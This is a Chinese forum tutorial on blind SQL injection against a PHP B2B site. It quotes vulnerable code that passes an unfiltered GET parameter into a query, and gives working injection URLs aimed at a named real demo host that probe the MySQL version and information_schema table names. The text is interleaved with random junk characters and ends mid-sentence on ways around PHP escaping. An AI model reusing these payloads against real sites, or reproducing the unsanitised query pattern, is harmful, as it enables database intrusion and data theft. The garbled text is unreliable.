select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 ! b" D; I2 ~) L
- U6 y) g$ @$ W' W: H3 b 复制代码 , p; u p T, |& x, f9 Q$ L错误提示已经很明了了。我们看一下注入页面的代码(有删改):
$js_user = trim($_GET["js_user"]);
if($js_user){
$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
if(!$num)
echo "<div class=tips3></div>";
else
echo "<div class=tips2>用户名已被注册</div>";
} ' w, X* s1 p4 ~ {2 S
# f2 T, T1 A/ A0 J7 @复制代码) e _2 T. n% t( J' A
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合! F3 b! W) G$ O) {5 A- G3 O
那么我们先从union的盲注来看吧。8 B+ I5 @% y7 g7 }8 O
先看版本:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23 : i% e$ U7 r h! p" l
8 H- n5 I, K2 x" @9 s0 |( E/ P 复制代码 3 R) A* k9 d2 S( v3 g6 q, M* Y这个时候我们来看看原来的代码中的SQL语句是怎么执行的:
select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'; N$ K1 q) [: O* B7 ]
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#' $ c8 Z% Z+ t7 u( ~; J8 A
/ W& I7 @' X U" I' C8 B1 a复制代码1 }& N) ~1 C8 t- N5 Z
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。6 Q6 Y4 [5 |3 \: V
关于limit x,y 的用法,可以参考MySQL手册 5 u. C/ ~5 k4 ] e1 L & A; s1 w! R% J+ {6 H/ u" D最后剩下的要说的就是ascii函数和hex函数了 7 i b: j2 _- T这两个函数的意义是避开php的GPC转义,例如: